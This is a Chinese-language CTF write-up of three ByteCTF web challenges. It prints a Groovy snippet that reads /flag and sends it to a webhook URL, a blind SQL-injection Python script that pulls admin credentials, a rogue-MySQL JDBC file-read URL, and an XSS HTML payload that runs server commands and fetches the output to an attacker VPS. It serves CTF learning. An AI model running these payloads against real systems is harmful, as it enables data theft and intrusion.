这一部分是bytectf剩下的几道题目

easy_groovy

这道题是groovy写的一个应用(理解为一种java的应用)

给了我们一个命令注入的板子

去网上找了一下常见的groovy的命令注入

https://xz.aliyun.com/t/8231#toc-14

过滤了很多通过java反射来命令注入的关键词

1
call class execute run exec eval forName getMethod invoke Runtime

这意味着,一些可用的bypass手段都不能用了

图片.png

看了W&M师傅们写的wp之后,其实是一种更为简单的方法(

即为,定义一个文件对象(猜测flag在/flag)读取文件内容,并将其回显带出到自己的服务器上

1
2
String fileContents = new File('/flag').text;
new URL('https://webhook.site/10e4fa88-8dae-4578-aca0-0da73dc44b89?a='+fileContents).getText();

flag就这样被带出来了(当时做这道题还是想得复杂了)

图片.png

其实和我第一次做go的命令执行也是差不多的感觉,都是直接去读文件

datamanager

很少分析这种平台式业务的sql注入题目,结合W&M师傅们的wp来复现一下

首先以普通成员的账号登录进去发现,默认的普通成员账号会少一些面板的权限

主面板界面可以创建数据库sources,不过远程连接不上

从报错的角度来看是java的应用

dashboard?order=这个地方有注入点

一般的来说,我们需要先注出admin的账号密码,然后执行一些admin的权限操作

黑名单

1
union ascii substr hex sleep benchmark mid left right = , ' " > < ; 

注入方法:case when的报错注入(emm,感觉回到了之前虎符ctf的SQL注入的感觉)其实case when语句即为if语句的另一种版本,其中的%^$两个匹配字符相似,都是用来匹配一段字符串数据的

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
url='https://cf56613c1a082827963a3196ad4cfdcc.2022.capturetheflag.fun/dashboard?order=id and '
cookie={}
cookie["__t_id"] = "33453c1bed093e1a2ddfedfcaf12d161"
cookie["JSESSIONID"] = "AB744750A32F555DA01F607309D0B041"

str = "0123456789-abcdefghijklmnopqrstuvwxyz{},.=<>$@#ABCDEFGHIJKLMNOPQRSTUVWXYZ"

def str_to_hex(s):
return ''.join([hex(ord(c)).replace("0x",'')for c in s])


# 一定要预先添加几个datasource,因为经过测试这个order参数大概是被拼接在order by语句之后的
# 数据库datamanager
payload = "case when (database() like binary {}) then 1 else 9223372036854775807%2B1 end" # 解释一下9223372036854775807%2B1,9223372036854775807是bigint最大值,+1超过导致报错500

# 表 source,users
# payload = "case when ((select group_concat(table_name) from information_schema.tables where table_schema like 0x646174616d616e61676572) like binary {}) then 1 else 9223372036854775807%2B1 end"

# 从下面开始注入需要注意,可以利用limit和offset来单独取我们想要的字段值
# 同时要去掉group_concat函数,不能把它们当做字符串来处理

# id,n4me,pas$word,user,current
# payload = "case when ((select column_name from information_schema.columns where table_name like 0x7573657273 limit 1 offset 5) like binary {}) then 1 else 9223372036854775807%2B1 end"

# ctf,adm..
# payload = "case when ((select n4me from users) like binary {}) then 1 else 9223372036854775807%2B1 end"

# ctf@BvteDaNceS3cRet
# payload = "case when ((selectpas$word from users) like binary {}) then 1 else 9223372036854775807%2B1 end"


flag=''
for i in range(1,100):
for j in str:
p = "0x"+str_to_hex(flag+j+'%')
# print(p)
a = url + payload.format(p)
r=requests.get(url=a,cookies=cookie)
if r.status_code == 200:
flag += j
print(flag)

这里可以在like的匹配加一个binary的限制符,这样可以避免数据的大小写混淆(实验发现并不能完全避免555,其实这种情况的话,可以多种情况都试一下,不过到后面发现大小写混合也能查出来数据……)

这个最大值数值的构造可以从intbigint等多种数据类型的最大值来尝试

将管理员的账号和密码注出来之后(ctf/ctf@BvteDaNceS3cRet),登录账号

status可以执行任意的sql语句,同时看到Server running on /app/DataManager.jar的信息

Connection Test可以执行jdbc(和Java的数据库连接相关)语句(在创建connection连接的时候设置了一个url参数,其中有jdbc的数据库连接)

图片.png**

可以构造一个恶意的mysql fake server来读取文件

和协会的师傅们交流了一下,得知有2个比较常见的mysql fake server

https://github.com/rmb122/rogue_mysql_server

https://github.com/fnmsd/MySQL_Fake_Server

试一下这个MySQL_Fake_Server

支持使用file://netdoc://(和file://协议类似的一种伪协议)协议来读取根目录和flag的文件

1
url=jdbc:mysql://vps-ip:port/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true&username=root&password=root

在原来的可视化图形界面输入数据即可(username和password可以随便输)

图片.png

需要在config.json当中修改__defaultFiles的值都为netdoc:///即可

图片.png

typing_game(way_2)

接上篇博客,这是预期解

方法是利用前端游戏的xss来读取命令的回显

前端有一个game.js代码可以看看

在前端的游戏完成之后,有一个name的拼接处可以传js代码实现xss(不过前提是过关游戏)

图片.png

可以构造一个恶意html文件在自己的服务器上,让puppeteer来访问,实现js代码的执行

具体的思路是利用/report路由来访问你自己服务器上的恶意文件(可以自己开一个python的http server),因为这个前端游戏可以输错无数次单词(所以可以在时限当中一直爆破,直到找到正确的单词为止)接着访问/status路由执行命令,并将命令的执行结果通过fetch带回到自己的服务器当中

参考了一下NU1L战队的wp,是利用了iframe.contextWindow.location.replace来不断刷新hash来达到游戏通关的条件(即为爆破)

关于前端的game.js的一个函数

1
2
3
addEventListener("hashchange",e=>{
typing(location.hash.replace("#","").split("?")[0])
})

我用了一个location实验了一下

后面的payload加上#是因为为了配合爆破使得addEventListener函数所取到的值为word数组当中的词语,从而实现爆破的过程

图片.png

payload

记得在服务器上开个python-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html>

<head>
</head>

<body>
<iframe width="100%" height="500px" id="iframe" src="http://127.0.0.1:13002/"></iframe>
<script>
cmd = "env"
cmd = `fetch("http://127.0.0.1:13002/status?cmd=${cmd}").then(x=>x.text()).then(x=>fetch("http://vps-ip:8888?data="+x))`
cmd = btoa(cmd)
url = "http://127.0.0.1:13002/?name=%3Cimg%20src%3Dx%20onerror%3D'eval(atob(%22"+cmd+"%22))')%3E"
const words =
['web', 'bytedance', 'ctf', 'sing', 'jump', 'rap', 'basketball', 'hello', 'world', 'fighting', 'flag', 'game', 'happy']
i = 0
l = 0
iframe.onload = function () {
const w = iframe.contentWindow
w.location.replace(url + "#" + words[i]);
if (i == 12) {
i = 0;
if (l++ > 13) {
fetch('/?done')
iframe.onload = function () { }
}
} else {
i++;
}
}
</script>
</body>

ps:每一次replace都会访问一个新的url

flag在环境变量当中

图片.png